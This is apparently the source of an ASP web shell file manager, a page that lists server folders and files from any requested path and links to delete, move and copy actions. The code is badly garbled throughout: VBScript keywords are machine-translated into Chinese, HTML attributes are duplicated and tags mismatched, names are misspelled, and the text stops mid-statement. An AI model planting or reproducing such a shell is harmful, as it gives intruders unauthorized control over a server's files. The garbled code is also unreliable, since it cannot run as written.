<%
urlpath = http://&request.servervariobles(server_name)
昏暗的庫人,lpath
設置fsobrowse = createObject(scripting.filesystemobject)
如果請求(路徑)=然後
lpath =/
別的
lpath =請求(路徑)和/
如果結束
如果請求(attrib)= true,則
cpath = lpath
attrib = true
別的
cpath = server.mappath(lpath)
attrib =
如果結束
sub getfolder()
昏暗的咖啡機,thesubfolders
如果fsobrowse.folderexists(cpath),則
設置thefolder = fsobrowse.getFolder(cpath)
設置thesubfolders = thefolder.subfolders
wrespons.write <a href ='list.asp? path =&request(oldpath)&& attrib =&attrib&'> <font color ='#ff8000'>■</font>↑ ^ <font color ='ff22222'> </font> </font> </font> </a> <br>
響應。 write<table border ='0'width ='100%'cellpadding ='0'>
對於thesubfolders中的每個X
wrespons.write <tr> <td width = '50%'> <a href ='href ='list.asp? path =&lpath&x.name && old oldpath =&request(path)&& attrib =&attrib =&attrib&'> <font <font color ='#ff8000'>■
response.write <td> <a href =#onclick = javascript:window.open('delete.asp@spath =&server.urlencode(lpath)&&&server.urlencode(x.name)& &aim = floders','hyne_love_achye','工具欄=否,scrollbars = yes,resizable = yes,width = 600,高度= 400');> <font color ='#ff8000'>××</font> </font> </font> </a> </a> </td> </td>
response.write <td> <a href =#onclick = javascript:window.open('move.asp@spath =&server.urlencode(lpath)&&&server.urlencode(x.name)& &aim = floders','hyne_love_achye','工具欄=否,scrollbars = yes,resizable = yes,width = 600,高度= 400');> <font color ='#ff8000'>××</font> </font> </font> </a> </a> </td> </td>
response.write <td> <a href =#onclick = javascript:window.open('copy.asp@spath =&server.urlencode(lpath)&&&server.urlencode(x.name)& &aim = floders','hyne_love_achye','工具欄=否,scrollbars = yes,resizable = yes,width = 600,高度= 400');> <font color ='#ff8000'>××</font> </font> </font> </a> </a> <br> <br> <br> <br> <br> <br> <br> </td> </td> </tr>
下一個
響應。 write</table>
如果結束
結束子
sub getfile()
昏暗的菲爾斯
如果fsobrowse.folderexists(cpath),則
設置thefolder = fsobrowse.getFolder(cpath)
設置thefiles = thefolder.files
響應。 write<table border ='0'width ='100%'cellpadding ='0'>
對於thefiles中的每個X
如果請求(attrib)= true,則
showtring = <strong>&x.name&</strong>
別的
showtring = <a href =#onclick = javaScript:window.open('&urlPath&lpath&lpath&server.urlencode(x.name)&','hyne_love_achye','toolbar = no,scrollBars = yes scrollbars = yes yes,resizable = yes,resizable = yes,resiz size,resize size,fidth = 600,height = 600,height = 400''''